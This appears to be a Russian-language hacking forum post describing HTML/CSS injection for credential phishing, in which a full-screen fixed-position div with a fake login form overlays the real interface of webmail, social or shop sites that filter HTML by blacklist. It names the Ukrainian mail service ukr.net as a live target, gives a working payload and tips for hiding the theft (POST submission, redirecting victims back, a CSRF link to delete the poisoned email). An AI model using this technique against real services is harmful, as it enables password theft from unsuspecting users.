Грядки, на которых раньше буйно цвёл XSS, давно вытоптаны стадами жадных школьников, потому старый и никому ранее не нужный баян под названием "HTML Injection" может заиграть новыми нотами :)
Цитата:
CSS level 2 was developed by the W3C and published as a Recommendation in May 1998. A superset of CSS1, CSS2 includes a number of new capabilities like absolute, relative, and fixed positioning of elements and z-index
http://en.wikipedia.org/wiki/Css
|
Очень старая тема, я же вам говорил.
- Уязвимы: Все сервисы, которые разрешают HTML + CSS и фильтруют его по блэклисту, потенциально уязвимы
- Не уязвимы: Сервисы, фильтрующие по вайтлисту (gmail)
Список потенциальных жертв: вебмейлы, социальные сети, бложеки, шопы.
Суть такова:
В документ внедряется HTML-элемент(обычно div или span), который средствами css2 делается полноэкранным либо выводится в шапку/сайдбар, частично или полностью замещая реальный интерфейс. Внутри внедрённого элемента находится фальшивая форма для ввода логина/пароля (обычный HTML).
Изменение страницы, в отличие от фейка, сделанного через XSS, происходит на этапе рендера, до того, как что-то отобразилось, потому заметить подмену невозможно даже намётанным глазом фишера.
Способов внедрить css property примерно в миллион раз больше, чем способов внедрить javascript, потому фильтрация "плохого css" по блэклисту неэффективна.
Пара полезных приёмов:
-не пугайте юзера его паролем в адрессбаре, делайте POST запрос. На своём скрипте пните его назад обычным 302 редиректом на страничку, которую он ожидает увидеть. POST волшебным образом превратится в GET (хотя rfc пишут по-другому)
-в одной из реализаций атаки на веб-мэйл в качестве ссылки возврата использовалась CSRF ссылка на удаление "ядовитого" письма, которая, в свою очередь, возвращала в инбокс. ID письма брался из реферера. Элегантно и эффективно. Саша, привет! :)
В качестве примера мы убъём тему с HTML Injection на популярном украинском почтовике ukr.net
Тестовый ящик:
rdot.org@ukr.net:05a671c66aefea124cc08b76ea6d30bb (дабы отсеять совсем левую публику - хеш)
Ukr.net грузит письмо аяксом, так что есть пауза. Для ресурсов, выдающих контент одним куском, её не будет.
Я поленился рисовать форму логина, но идея понятна.
Никакого яваскрипта, чистый HTML4+CSS2.
Простейший код для тестирования:
Код HTML:
outer text
<div style="position:fixed;top:0px;left:0px;width:100%;height:100%;z-index:999;background-color:black;">
inner text
<form action="http://www.google.com/search">
Login: <input value="test" name="q">
<input type="submit" value="send">
</form>
</div>
// специально для rdot.org
// копирование без ссылки на источник не одобряется.